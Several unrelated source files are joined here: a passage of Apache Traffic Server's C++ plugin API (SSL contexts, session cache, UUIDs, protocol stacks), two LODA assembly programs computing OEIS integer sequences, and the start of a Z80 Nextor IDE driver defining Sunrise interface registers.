sdk_assert(sdk_sanity_check_null_ptr(conf) == TS_SUCCESS);
std::string_view name_sv(name, length < 0 ? strlen(name) : length);
if (auto config = ts::Overridable_Txn_Vars.find(name_sv); config != ts::Overridable_Txn_Vars.end()) {
std::tie(*conf, *type) = config->second;
return TS_SUCCESS;
}
return TS_ERROR;
}
TSReturnCode
TSHttpTxnPrivateSessionSet(TSHttpTxn txnp, int private_session)
{
if (sdk_sanity_check_txn(txnp) != TS_SUCCESS) {
return TS_ERROR;
}
HttpSM *sm = (HttpSM *)txnp;
if (sm->set_server_session_private(private_session)) {
return TS_SUCCESS;
}
return TS_ERROR;
}
// APIs to register new Mgmt (records.config) entries.
TSReturnCode
TSMgmtStringCreate(TSRecordType rec_type, const char *name, const TSMgmtString data_default, TSRecordUpdateType update_type,
TSRecordCheckType check_type, const char *check_regex, TSRecordAccessType access_type)
{
if (check_regex == nullptr && check_type != TS_RECORDCHECK_NULL) {
return TS_ERROR;
}
if (REC_ERR_OKAY != RecRegisterConfigString((enum RecT)rec_type, name, data_default, (enum RecUpdateT)update_type,
(enum RecCheckT)check_type, check_regex, REC_SOURCE_PLUGIN,
(enum RecAccessT)access_type)) {
return TS_ERROR;
}
return TS_SUCCESS;
}
TSReturnCode
TSMgmtIntCreate(TSRecordType rec_type, const char *name, TSMgmtInt data_default, TSRecordUpdateType update_type,
TSRecordCheckType check_type, const char *check_regex, TSRecordAccessType access_type)
{
if (check_regex == nullptr && check_type != TS_RECORDCHECK_NULL) {
return TS_ERROR;
}
if (REC_ERR_OKAY != RecRegisterConfigInt((enum RecT)rec_type, name, (RecInt)data_default, (enum RecUpdateT)update_type,
(enum RecCheckT)check_type, check_regex, REC_SOURCE_PLUGIN,
(enum RecAccessT)access_type)) {
return TS_ERROR;
}
return TS_SUCCESS;
}
TSReturnCode
TSHttpTxnCloseAfterResponse(TSHttpTxn txnp, int should_close)
{
if (sdk_sanity_check_txn(txnp) != TS_SUCCESS) {
return TS_ERROR;
}
HttpSM *sm = (HttpSM *)txnp;
if (should_close) {
sm->t_state.client_info.keep_alive = HTTP_NO_KEEPALIVE;
if (sm->ua_txn) {
sm->set_ua_half_close_flag();
}
}
// Don't change if PIPELINE is set...
else if (sm->t_state.client_info.keep_alive == HTTP_NO_KEEPALIVE) {
sm->t_state.client_info.keep_alive = HTTP_KEEPALIVE;
}
return TS_SUCCESS;
}
// Parse a port descriptor for the proxy.config.http.server_ports descriptor format.
TSPortDescriptor
TSPortDescriptorParse(const char *descriptor)
{
HttpProxyPort *port = new HttpProxyPort();
if (descriptor && port->processOptions(descriptor)) {
return (TSPortDescriptor)port;
}
delete port;
return nullptr;
}
TSReturnCode
TSPortDescriptorAccept(TSPortDescriptor descp, TSCont contp)
{
Action *action = nullptr;
HttpProxyPort *port = (HttpProxyPort *)descp;
NetProcessor::AcceptOptions net(make_net_accept_options(port, -1 /* nthreads */));
if (port->isSSL()) {
action = sslNetProcessor.main_accept((INKContInternal *)contp, port->m_fd, net);
} else {
action = netProcessor.main_accept((INKContInternal *)contp, port->m_fd, net);
}
return action ? TS_SUCCESS : TS_ERROR;
}
TSReturnCode
TSPluginDescriptorAccept(TSCont contp)
{
Action *action = nullptr;
HttpProxyPort::Group &proxy_ports = HttpProxyPort::global();
for (auto &port : proxy_ports) {
if (port.isPlugin()) {
NetProcessor::AcceptOptions net(make_net_accept_options(&port, -1 /* nthreads */));
action = netProcessor.main_accept((INKContInternal *)contp, port.m_fd, net);
}
}
return action ? TS_SUCCESS : TS_ERROR;
}
int
TSHttpTxnBackgroundFillStarted(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *s = (HttpSM *)txnp;
return (s->background_fill == BACKGROUND_FILL_STARTED);
}
int
TSHttpTxnIsCacheable(TSHttpTxn txnp, TSMBuffer request, TSMBuffer response)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
HTTPHdr *req, *resp;
// We allow for either request or response to be empty (or both), in
// which case we default to the transactions request or response.
if (request) {
sdk_assert(sdk_sanity_check_mbuffer(request) == TS_SUCCESS);
req = reinterpret_cast<HTTPHdr *>(request);
} else {
req = &(sm->t_state.hdr_info.client_request);
}
if (response) {
sdk_assert(sdk_sanity_check_mbuffer(response) == TS_SUCCESS);
resp = reinterpret_cast<HTTPHdr *>(response);
} else {
resp = &(sm->t_state.hdr_info.server_response);
}
// Make sure these are valid response / requests, then verify if it's cacheable.
return (req->valid() && resp->valid() && HttpTransact::is_response_cacheable(&(sm->t_state), req, resp)) ? 1 : 0;
}
// Lookup various debug names for common HTTP types.
const char *
TSHttpServerStateNameLookup(TSServerState state)
{
return HttpDebugNames::get_server_state_name(static_cast<HttpTransact::ServerState_t>(state));
}
const char *
TSHttpHookNameLookup(TSHttpHookID hook)
{
return HttpDebugNames::get_api_hook_name(static_cast<TSHttpHookID>(hook));
}
const char *
TSHttpEventNameLookup(TSEvent event)
{
return HttpDebugNames::get_event_name(static_cast<int>(event));
}
/// Re-enable SSL VC.
class TSSslCallback : public Continuation
{
public:
TSSslCallback(SSLNetVConnection *vc, TSEvent event) : Continuation(vc->nh->mutex), m_vc(vc), m_event(event)
{
SET_HANDLER(&TSSslCallback::event_handler);
}
int
event_handler(int event, void *)
{
m_vc->reenable(m_vc->nh, m_event);
delete this;
return 0;
}
private:
SSLNetVConnection *m_vc;
TSEvent m_event;
};
/// SSL Hooks
TSReturnCode
TSVConnTunnel(TSVConn sslp)
{
NetVConnection *vc = reinterpret_cast<NetVConnection *>(sslp);
SSLNetVConnection *ssl_vc = dynamic_cast<SSLNetVConnection *>(vc);
TSReturnCode zret = TS_SUCCESS;
if (nullptr != ssl_vc) {
ssl_vc->hookOpRequested = SSL_HOOK_OP_TUNNEL;
} else {
zret = TS_ERROR;
}
return zret;
}
TSSslConnection
TSVConnSslConnectionGet(TSVConn sslp)
{
TSSslConnection ssl = nullptr;
NetVConnection *vc = reinterpret_cast<NetVConnection *>(sslp);
SSLNetVConnection *ssl_vc = dynamic_cast<SSLNetVConnection *>(vc);
if (ssl_vc != nullptr) {
ssl = reinterpret_cast<TSSslConnection>(ssl_vc->ssl);
}
return ssl;
}
tsapi TSSslVerifyCTX
TSVConnSslVerifyCTXGet(TSVConn sslp)
{
NetVConnection *vc = reinterpret_cast<NetVConnection *>(sslp);
SSLNetVConnection *ssl_vc = dynamic_cast<SSLNetVConnection *>(vc);
if (ssl_vc != nullptr) {
return reinterpret_cast<TSSslVerifyCTX>(ssl_vc->get_verify_cert());
}
return nullptr;
}
tsapi TSSslContext
TSSslContextFindByName(const char *name)
{
if (nullptr == name || 0 == strlen(name)) {
// an empty name is an invalid input
return nullptr;
}
TSSslContext ret = nullptr;
SSLCertLookup *lookup = SSLCertificateConfig::acquire();
if (lookup != nullptr) {
SSLCertContext *cc = lookup->find(name);
if (cc) {
shared_SSL_CTX ctx = cc->getCtx();
if (ctx) {
ret = reinterpret_cast<TSSslContext>(ctx.get());
}
}
SSLCertificateConfig::release(lookup);
}
return ret;
}
tsapi TSSslContext
TSSslContextFindByAddr(struct sockaddr const *addr)
{
TSSslContext ret = nullptr;
SSLCertLookup *lookup = SSLCertificateConfig::acquire();
if (lookup != nullptr) {
IpEndpoint ip;
ip.assign(addr);
SSLCertContext *cc = lookup->find(ip);
if (cc) {
shared_SSL_CTX ctx = cc->getCtx();
if (ctx) {
ret = reinterpret_cast<TSSslContext>(ctx.get());
}
}
SSLCertificateConfig::release(lookup);
}
return ret;
}
/**
* This function retrieves an array of lookup keys for client contexts loaded in
* traffic server. Given a 2-level mapping for client contexts, every 2 lookup keys
* can be used to locate and identify 1 context.
* @param n Allocated size for result array.
* @param result Const char pointer arrays to be filled with lookup keys.
* @param actual Total number of lookup keys.
*/
tsapi TSReturnCode
TSSslClientContextsNamesGet(int n, const char **result, int *actual)
{
sdk_assert(n == 0 || result != nullptr);
int idx = 0, count = 0;
SSLConfigParams *params = SSLConfig::acquire();
if (params) {
auto &ctx_map_lock = params->ctxMapLock;
auto &ca_map = params->top_level_ctx_map;
auto mem = static_cast<std::string_view *>(alloca(sizeof(std::string_view) * n));
ink_mutex_acquire(&ctx_map_lock);
for (auto &ca_pair : ca_map) {
// Populate mem array with 2 strings each time
for (auto &ctx_pair : ca_pair.second) {
if (idx + 1 < n) {
mem[idx++] = ca_pair.first;
mem[idx++] = ctx_pair.first;
}
count += 2;
}
}
ink_mutex_release(&ctx_map_lock);
for (int i = 0; i < idx; i++) {
result[i] = mem[i].data();
}
}
if (actual) {
*actual = count;
}
SSLConfig::release(params);
return TS_SUCCESS;
}
/**
* This function returns the client context corresponding to the lookup keys provided.
* User should call TSSslClientContextsGet() first to determine which lookup keys are
* present before querying for them. User will need to release the context returned
* from this function.
* Returns valid TSSslContext on success and nullptr on failure.
* @param first_key Key string for the top level.
* @param second_key Key string for the second level.
*/
tsapi TSSslContext
TSSslClientContextFindByName(const char *ca_paths, const char *ck_paths)
{
if (!ca_paths || !ck_paths || ca_paths[0] == '\0' || ck_paths[0] == '\0') {
return nullptr;
}
SSLConfigParams *params = SSLConfig::acquire();
TSSslContext retval = nullptr;
if (params) {
ink_mutex_acquire(¶ms->ctxMapLock);
auto ca_iter = params->top_level_ctx_map.find(ca_paths);
if (ca_iter != params->top_level_ctx_map.end()) {
auto ctx_iter = ca_iter->second.find(ck_paths);
if (ctx_iter != ca_iter->second.end()) {
SSL_CTX_up_ref(ctx_iter->second.get());
retval = reinterpret_cast<TSSslContext>(ctx_iter->second.get());
}
}
ink_mutex_release(¶ms->ctxMapLock);
}
SSLConfig::release(params);
return retval;
}
tsapi TSSslContext
TSSslServerContextCreate(TSSslX509 cert, const char *certname, const char *rsp_file)
{
TSSslContext ret = nullptr;
SSLConfigParams *config = SSLConfig::acquire();
if (config != nullptr) {
ret = reinterpret_cast<TSSslContext>(SSLCreateServerContext(config, nullptr));
#if TS_USE_TLS_OCSP
if (ret && SSLConfigParams::ssl_ocsp_enabled && cert && certname) {
if (SSL_CTX_set_tlsext_status_cb(reinterpret_cast<SSL_CTX *>(ret), ssl_callback_ocsp_stapling)) {
if (!ssl_stapling_init_cert(reinterpret_cast<SSL_CTX *>(ret), reinterpret_cast<X509 *>(cert), certname, rsp_file)) {
Warning("failed to configure SSL_CTX for OCSP Stapling info for certificate at %s", (const char *)certname);
}
}
}
#endif
SSLConfig::release(config);
}
return ret;
}
tsapi void
TSSslContextDestroy(TSSslContext ctx)
{
SSLReleaseContext(reinterpret_cast<SSL_CTX *>(ctx));
}
TSReturnCode
TSSslClientCertUpdate(const char *cert_path, const char *key_path)
{
if (nullptr == cert_path) {
return TS_ERROR;
}
std::string key;
shared_SSL_CTX client_ctx = nullptr;
SSLConfigParams *params = SSLConfig::acquire();
// Generate second level key for client context lookup
ts::bwprint(key, "{}:{}", cert_path, key_path);
Debug("ssl.cert_update", "TSSslClientCertUpdate(): Use %.*s as key for lookup", static_cast<int>(key.size()), key.data());
if (nullptr != params) {
// Try to update client contexts maps
auto &ca_paths_map = params->top_level_ctx_map;
auto &map_lock = params->ctxMapLock;
std::string ca_paths_key;
// First try to locate the client context and its CA path (by top level)
ink_mutex_acquire(&map_lock);
for (auto &ca_paths_pair : ca_paths_map) {
auto &ctx_map = ca_paths_pair.second;
auto iter = ctx_map.find(key);
if (iter != ctx_map.end() && iter->second != nullptr) {
ca_paths_key = ca_paths_pair.first;
break;
}
}
ink_mutex_release(&map_lock);
// Only update on existing
if (ca_paths_key.empty()) {
return TS_ERROR;
}
// Extract CA related paths
size_t sep = ca_paths_key.find(':');
std::string ca_bundle_file = ca_paths_key.substr(0, sep);
std::string ca_bundle_path = ca_paths_key.substr(sep + 1);
// Build new client context
client_ctx =
shared_SSL_CTX(SSLCreateClientContext(params, ca_bundle_path.empty() ? nullptr : ca_bundle_path.c_str(),
ca_bundle_file.empty() ? nullptr : ca_bundle_file.c_str(), cert_path, key_path),
SSL_CTX_free);
// Successfully generates a client context, update in the map
ink_mutex_acquire(&map_lock);
auto iter = ca_paths_map.find(ca_paths_key);
if (iter != ca_paths_map.end() && iter->second.count(key)) {
iter->second[key] = client_ctx;
} else {
client_ctx = nullptr;
}
ink_mutex_release(&map_lock);
}
return client_ctx ? TS_SUCCESS : TS_ERROR;
}
TSReturnCode
TSSslServerCertUpdate(const char *cert_path, const char *key_path)
{
if (nullptr == cert_path) {
return TS_ERROR;
}
if (!key_path || key_path[0] == '\0') {
key_path = cert_path;
}
SSLCertContext *cc = nullptr;
shared_SSL_CTX test_ctx = nullptr;
std::shared_ptr<X509> cert = nullptr;
SSLConfig::scoped_config config;
SSLCertificateConfig::scoped_config lookup;
if (lookup && config) {
// Read cert from path to extract lookup key (common name)
scoped_BIO bio(BIO_new_file(cert_path, "r"));
if (bio) {
cert = std::shared_ptr<X509>(PEM_read_bio_X509(bio.get(), nullptr, nullptr, nullptr), X509_free);
}
if (!bio || !cert) {
SSLError("Failed to load certificate/key from %s", cert_path);
return TS_ERROR;
}
// Extract common name
int pos = X509_NAME_get_index_by_NID(X509_get_subject_name(cert.get()), NID_commonName, -1);
X509_NAME_ENTRY *common_name = X509_NAME_get_entry(X509_get_subject_name(cert.get()), pos);
ASN1_STRING *common_name_asn1 = X509_NAME_ENTRY_get_data(common_name);
char *common_name_str = reinterpret_cast<char *>(const_cast<unsigned char *>(ASN1_STRING_get0_data(common_name_asn1)));
if (ASN1_STRING_length(common_name_asn1) != static_cast<int>(strlen(common_name_str))) {
// Embedded NULL char
return TS_ERROR;
}
Debug("ssl.cert_update", "Updating from %s with common name %s", cert_path, common_name_str);
// Update context to use cert
cc = lookup->find(common_name_str);
if (cc && cc->getCtx()) {
test_ctx = shared_SSL_CTX(SSLCreateServerContext(config, cc->userconfig.get(), cert_path, key_path), SSLReleaseContext);
if (!test_ctx) {
return TS_ERROR;
}
// Atomic Swap
cc->setCtx(test_ctx);
return TS_SUCCESS;
}
}
return TS_ERROR;
}
tsapi void
TSSslTicketKeyUpdate(char *ticketData, int ticketDataLen)
{
SSLTicketKeyConfig::reconfigure_data(ticketData, ticketDataLen);
}
TSReturnCode
TSVConnProtocolEnable(TSVConn connp, const char *protocol_name)
{
TSReturnCode retval = TS_ERROR;
int protocol_idx = globalSessionProtocolNameRegistry.toIndexConst(std::string_view{protocol_name});
auto net_vc = reinterpret_cast<UnixNetVConnection *>(connp);
auto alpn_vc = dynamic_cast<ALPNSupport *>(net_vc);
if (alpn_vc) {
alpn_vc->enableProtocol(protocol_idx);
retval = TS_SUCCESS;
}
return retval;
}
TSReturnCode
TSVConnProtocolDisable(TSVConn connp, const char *protocol_name)
{
TSReturnCode retval = TS_ERROR;
int protocol_idx = globalSessionProtocolNameRegistry.toIndexConst(std::string_view{protocol_name});
auto net_vc = reinterpret_cast<UnixNetVConnection *>(connp);
auto alpn_vc = dynamic_cast<ALPNSupport *>(net_vc);
if (alpn_vc) {
alpn_vc->disableProtocol(protocol_idx);
retval = TS_SUCCESS;
}
return retval;
}
TSAcceptor
TSAcceptorGet(TSVConn sslp)
{
NetVConnection *vc = reinterpret_cast<NetVConnection *>(sslp);
SSLNetVConnection *ssl_vc = dynamic_cast<SSLNetVConnection *>(vc);
return ssl_vc ? reinterpret_cast<TSAcceptor>(ssl_vc->accept_object) : nullptr;
}
TSAcceptor
TSAcceptorGetbyID(int ID)
{
SCOPED_MUTEX_LOCK(lock, naVecMutex, this_ethread());
auto ret = naVec.at(ID);
Debug("ssl", "getNetAccept in INK API.cc %p", ret);
return reinterpret_cast<TSAcceptor>(ret);
}
int
TSAcceptorIDGet(TSAcceptor acceptor)
{
NetAccept *na = reinterpret_cast<NetAccept *>(acceptor);
return na ? na->id : -1;
}
int
TSAcceptorCount()
{
SCOPED_MUTEX_LOCK(lock, naVecMutex, this_ethread());
return naVec.size();
}
tsapi int
TSVConnIsSsl(TSVConn sslp)
{
NetVConnection *vc = reinterpret_cast<NetVConnection *>(sslp);
SSLNetVConnection *ssl_vc = dynamic_cast<SSLNetVConnection *>(vc);
return ssl_vc != nullptr;
}
void
TSVConnReenable(TSVConn vconn)
{
TSVConnReenableEx(vconn, TS_EVENT_CONTINUE);
}
void
TSVConnReenableEx(TSVConn vconn, TSEvent event)
{
NetVConnection *vc = reinterpret_cast<NetVConnection *>(vconn);
SSLNetVConnection *ssl_vc = dynamic_cast<SSLNetVConnection *>(vc);
// We really only deal with a SSLNetVConnection at the moment
if (ssl_vc != nullptr) {
EThread *eth = this_ethread();
// We use the mutex of VC's NetHandler so we can put the VC into ready_list by reenable()
MUTEX_TRY_LOCK(trylock, ssl_vc->nh->mutex, eth);
if (trylock.is_locked()) {
ssl_vc->reenable(ssl_vc->nh, event);
} else {
// We schedule the reenable to the home thread of ssl_vc.
ssl_vc->thread->schedule_imm(new TSSslCallback(ssl_vc, event));
}
}
}
extern SSLSessionCache *session_cache; // declared extern in P_SSLConfig.h
TSSslSession
TSSslSessionGet(const TSSslSessionID *session_id)
{
SSL_SESSION *session = nullptr;
if (session_id && session_cache) {
session_cache->getSession(reinterpret_cast<const SSLSessionID &>(*session_id), &session, nullptr);
}
return reinterpret_cast<TSSslSession>(session);
}
int
TSSslSessionGetBuffer(const TSSslSessionID *session_id, char *buffer, int *len_ptr)
{
int true_len = 0;
// Don't get if there is no session id or the cache is not yet set up
if (session_id && session_cache && len_ptr) {
true_len = session_cache->getSessionBuffer(reinterpret_cast<const SSLSessionID &>(*session_id), buffer, *len_ptr);
}
return true_len;
}
TSReturnCode
TSSslSessionInsert(const TSSslSessionID *session_id, TSSslSession add_session, TSSslConnection ssl_conn)
{
// Don't insert if there is no session id or the cache is not yet set up
if (session_id && session_cache) {
if (is_debug_tag_set("ssl.session_cache")) {
const SSLSessionID *sid = reinterpret_cast<const SSLSessionID *>(session_id);
char buf[sid->len * 2 + 1];
sid->toString(buf, sizeof(buf));
Debug("ssl.session_cache.insert", "TSSslSessionInsert: Inserting session '%s' ", buf);
}
SSL_SESSION *session = reinterpret_cast<SSL_SESSION *>(add_session);
SSL *ssl = reinterpret_cast<SSL *>(ssl_conn);
session_cache->insertSession(reinterpret_cast<const SSLSessionID &>(*session_id), session, ssl);
// insertSession returns void, assume all went well
return TS_SUCCESS;
} else {
return TS_ERROR;
}
}
TSReturnCode
TSSslSessionRemove(const TSSslSessionID *session_id)
{
// Don't remove if there is no session id or the cache is not yet set up
if (session_id && session_cache) {
session_cache->removeSession(reinterpret_cast<const SSLSessionID &>(*session_id));
// removeSession returns void, assume all went well
return TS_SUCCESS;
} else {
return TS_ERROR;
}
}
// APIs for managing and using UUIDs.
TSUuid
TSUuidCreate()
{
ATSUuid *uuid = new ATSUuid();
return (TSUuid)uuid;
}
void
TSUuidDestroy(TSUuid uuid)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)uuid) == TS_SUCCESS);
delete (ATSUuid *)uuid;
}
TSReturnCode
TSUuidCopy(TSUuid dest, const TSUuid src)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)dest) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)src) == TS_SUCCESS);
ATSUuid *d = (ATSUuid *)dest;
ATSUuid *s = (ATSUuid *)src;
if (s->valid()) {
*d = *s;
return TS_SUCCESS;
}
return TS_ERROR;
}
TSReturnCode
TSUuidInitialize(TSUuid uuid, TSUuidVersion v)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)uuid) == TS_SUCCESS);
ATSUuid *u = (ATSUuid *)uuid;
u->initialize(v);
return u->valid() ? TS_SUCCESS : TS_ERROR;
}
TSUuid
TSProcessUuidGet()
{
Machine *machine = Machine::instance();
return (TSUuid)(&machine->uuid);
}
const char *
TSUuidStringGet(const TSUuid uuid)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)uuid) == TS_SUCCESS);
ATSUuid *u = (ATSUuid *)(uuid);
if (u->valid()) {
return u->getString();
}
return nullptr;
}
TSReturnCode
TSClientRequestUuidGet(TSHttpTxn txnp, char *uuid_str)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)uuid_str) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
const char *machine = (char *)Machine::instance()->uuid.getString();
int len;
len = snprintf(uuid_str, TS_CRUUID_STRING_LEN + 1, "%s-%" PRId64 "", machine, sm->sm_id);
if (len > TS_CRUUID_STRING_LEN) {
return TS_ERROR;
}
return TS_SUCCESS;
}
TSReturnCode
TSUuidStringParse(TSUuid uuid, const char *str)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)uuid) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)str) == TS_SUCCESS);
ATSUuid *u = (ATSUuid *)uuid;
if (u->parseString(str)) {
return TS_SUCCESS;
}
return TS_ERROR;
}
TSUuidVersion
TSUuidVersionGet(TSUuid uuid)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)uuid) == TS_SUCCESS);
ATSUuid *u = (ATSUuid *)uuid;
return u->version();
}
// Expose the HttpSM's sequence number (ID)
uint64_t
TSHttpTxnIdGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
return (uint64_t)sm->sm_id;
}
// Returns unique client session identifier
int64_t
TSHttpSsnIdGet(TSHttpSsn ssnp)
{
sdk_assert(sdk_sanity_check_http_ssn(ssnp) == TS_SUCCESS);
ProxySession *cs = reinterpret_cast<ProxySession *>(ssnp);
return cs->connection_id();
}
// Return information about the protocols used by the client
TSReturnCode
TSHttpTxnClientProtocolStackGet(TSHttpTxn txnp, int n, const char **result, int *actual)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(n == 0 || result != nullptr);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
int count = 0;
if (sm && n > 0) {
auto mem = static_cast<std::string_view *>(alloca(sizeof(std::string_view) * n));
count = sm->populate_client_protocol(mem, n);
for (int i = 0; i < count; ++i) {
result[i] = mem[i].data();
}
}
if (actual) {
*actual = count;
}
return TS_SUCCESS;
}
TSReturnCode
TSHttpSsnClientProtocolStackGet(TSHttpSsn ssnp, int n, const char **result, int *actual)
{
sdk_assert(sdk_sanity_check_http_ssn(ssnp) == TS_SUCCESS);
sdk_assert(n == 0 || result != nullptr);
ProxySession *cs = reinterpret_cast<ProxySession *>(ssnp);
int count = 0;
if (cs && n > 0) {
auto mem = static_cast<std::string_view *>(alloca(sizeof(std::string_view) * n));
count = cs->populate_protocol(mem, n);
for (int i = 0; i < count; ++i) {
result[i] = mem[i].data();
}
}
if (actual) {
*actual = count;
}
return TS_SUCCESS;
}
const char *
TSNormalizedProtocolTag(const char *tag)
{
return RecNormalizeProtoTag(tag);
}
const char *
TSHttpTxnClientProtocolStackContains(TSHttpTxn txnp, const char *tag)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
return sm->client_protocol_contains(std::string_view{tag});
}
const char *
TSHttpSsnClientProtocolStackContains(TSHttpSsn ssnp, const char *tag)
{
sdk_assert(sdk_sanity_check_http_ssn(ssnp) == TS_SUCCESS);
ProxySession *cs = reinterpret_cast<ProxySession *>(ssnp);
return cs->protocol_contains(std::string_view{tag});
}
const char *
TSRegisterProtocolTag(const char *tag)
{
return nullptr;
}
TSReturnCode
TSHttpTxnRedoCacheLookup(TSHttpTxn txnp, const char *url, int length)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
HttpTransact::State *s = &(sm->t_state);
sdk_assert(s->next_action == HttpTransact::SM_ACTION_CACHE_LOOKUP);
// Because of where this is in the state machine, the storage for the cache_info URL must
// have already been initialized and @a lookup_url must be valid.
auto result = s->cache_info.lookup_url->parse(url, length < 0 ? strlen(url) : length);
if (PARSE_RESULT_DONE == result) {
s->transact_return_point = nullptr;
sm->rewind_state_machine();
return TS_SUCCESS;
}
return TS_ERROR;
}
namespace
{
// Function that contains the common logic for TSRemapFrom/ToUrlGet().
//
TSReturnCode
remapUrlGet(TSHttpTxn txnp, TSMLoc *urlLocp, URL *(UrlMappingContainer::*mfp)() const)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr(urlLocp) == TS_SUCCESS);
HttpSM *sm = reinterpret_cast<HttpSM *>(txnp);
URL *url = (sm->t_state.url_map.*mfp)();
if (url == nullptr) {
return TS_ERROR;
}
auto urlImpl = url->m_url_impl;
if (urlImpl == nullptr) {
return TS_ERROR;
}
*urlLocp = reinterpret_cast<TSMLoc>(urlImpl);
return TS_SUCCESS;
}
} // end anonymous namespace
tsapi TSReturnCode
TSRemapFromUrlGet(TSHttpTxn txnp, TSMLoc *urlLocp)
{
return remapUrlGet(txnp, urlLocp, &UrlMappingContainer::getFromURL);
}
tsapi TSReturnCode
TSRemapToUrlGet(TSHttpTxn txnp, TSMLoc *urlLocp)
{
return remapUrlGet(txnp, urlLocp, &UrlMappingContainer::getToURL);
}
tsapi TSIOBufferReader
TSHttpTxnPostBufferReaderGet(TSHttpTxn txnp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
return (TSIOBufferReader)sm->get_postbuf_clone_reader();
}
|
; A040270: Continued fraction for sqrt(287).
; 16,1,15,1,32,1,15,1,32,1,15,1,32,1,15,1,32,1,15,1,32,1,15,1,32,1,15,1,32,1,15,1,32,1,15,1,32,1,15,1,32,1,15,1,32,1,15,1,32,1,15,1,32,1,15,1,32,1,15,1,32,1,15,1,32,1,15,1,32,1,15,1,32,1,15
gcd $0,262156
mul $0,42
mod $0,13
mov $1,$0
div $1,5
mul $1,9
add $0,$1
sub $0,6
div $0,2
add $0,2
add $0,$1
|
; A020335: Numbers whose base-7 representation is the juxtaposition of two identical strings.
; Submitted by Simon Strandgaard
; 8,16,24,32,40,48,350,400,450,500,550,600,650,700,750,800,850,900,950,1000,1050,1100,1150,1200,1250,1300,1350,1400,1450,1500,1550,1600,1650,1700,1750,1800,1850,1900,1950,2000,2050,2100,2150,2200,2250,2300,2350,2400,16856,17200,17544,17888,18232,18576,18920,19264,19608,19952,20296,20640,20984,21328,21672,22016,22360,22704,23048,23392,23736,24080,24424,24768,25112,25456,25800,26144,26488,26832,27176,27520,27864,28208,28552,28896,29240,29584,29928,30272,30616,30960,31304,31648,31992,32336,32680
mov $1,$0
add $0,1
mov $3,$0
lpb $3
mul $0,7
mov $2,$1
div $3,7
lpe
add $0,$2
add $0,1
|
; Device-based driver for the sunrise IDE interface for Nextor
;
; Version 0.1.7
; By Konamiman
; By Piter Punk
; By FRS
org 4000h
ds 4100h-$,0 ; DRV_START must be at 4100h
DRV_START:
TESTADD equ 0F3F5h
;-----------------------------------------------------------------------------
;
; Driver configuration constants
;
;Driver type:
; 0 for drive-based
; 1 for device-based
DRV_TYPE equ 1
;Hot-plug devices support (device-based drivers only):
; 0 for no hot-plug support
; 1 for hot-plug support
DRV_HOTPLUG equ 0
DEBUG equ 0 ;Set to 1 for debugging, 0 to normal operation
;Driver version
VER_MAIN equ 0
VER_SEC equ 1
VER_REV equ 7
;Miscellaneous configuration
DEFINE PIOMODE3 ; Configure devices to work on PIO MODE 3
;This is a very barebones driver. It has important limitations:
;- CHS mode not supported, disks must support LBA mode.
;- 48 bit addresses are not supported
; (do the Sunrise IDE hardware support them anyway?)
;- ATAPI devices not supported, only ATA disks.
;-----------------------------------------------------------------------------
;
; IDE registers and bit definitions
IDE_BANK equ 4104h ;bit 0: enable (1) or disable (0) IDE registers
;bits 5-7: select 16K ROM bank
IDE_DATA equ 7C00h ;Data registers, this is a 512 byte area
IDE_ERROR equ 7E01h ;Error register
IDE_FEAT equ 7E01h ;Feature register
IDE_SECCNT equ 7E02h ;Sector count
IDE_SECNUM equ 7E03h ;Sector number (CHS mode)
IDE_LBALOW equ 7E03h ;Logical sector low (LBA mode)
IDE_CYLOW equ 7E04h ;Cylinder low (CHS mode)
IDE_LBAMID equ 7E04h ;Logical sector mid (LBA mode)
IDE_CYHIGH equ 7E05h ;Cylinder high (CHS mode)
IDE_LBAHIGH equ 7E05h ;Logical sector high (LBA mode)
IDE_HEAD equ 7E06h ;bits 0-3: Head (CHS mode), logical sector higher (LBA mode)
IDE_STATUS equ 7E07h ;Status register
IDE_CMD equ 7E07h ;Command register
IDE_DEVCTRL equ 7E0Eh ;Device control register
; Bits in the error register
UNC equ 6 ;Uncorrectable Data Error
WP equ 6 ;Write protected
MC equ 5 ;Media Changed
IDNF equ 4 ;ID Not Found
MCR equ 3 ;Media Change Requested
ABRT equ 2 ;Aborted Command
NM equ 1 ;No media
M_ABRT equ 100b ;(1 SHL ABRT)
; Bits in the head register
DEV equ 4 ;Device select: 0=master, 1=slave
LBA equ 6 ;0=use CHS mode, 1=use LBA mode
M_DEV equ 10000b ;(1 SHL DEV)
M_LBA equ 1000000b ;(1 SHL LBA)
; Bits in the status register
BSY equ 7 ;Busy
DRDY equ 6 ;Device ready
DF equ 5 ;Device fault
DRQ equ 3 ;Data request
ERR equ 0 ;Error
M_BSY equ 10000000b ;(1 SHL BSY)
M_DRDY equ 1000000b ;(1 SHL DRDY)
M_DF equ 100000b ;(1 SHL DF)
M_DRQ equ 1000b ;(1 SHL DRQ)
M_ERR equ 1b ;(1 SHL ERR)
; Bits in the device control register register
nIEN equ 1 ;Disable interrupts
SRST equ 2 ;Software reset
M_nIEN equ 10b ;(1 SHL nIEN)
M_SRST equ 100b ;(1 SHL SRST)
; IDE commands
ATACMD:
.PRDSECTRT equ #20
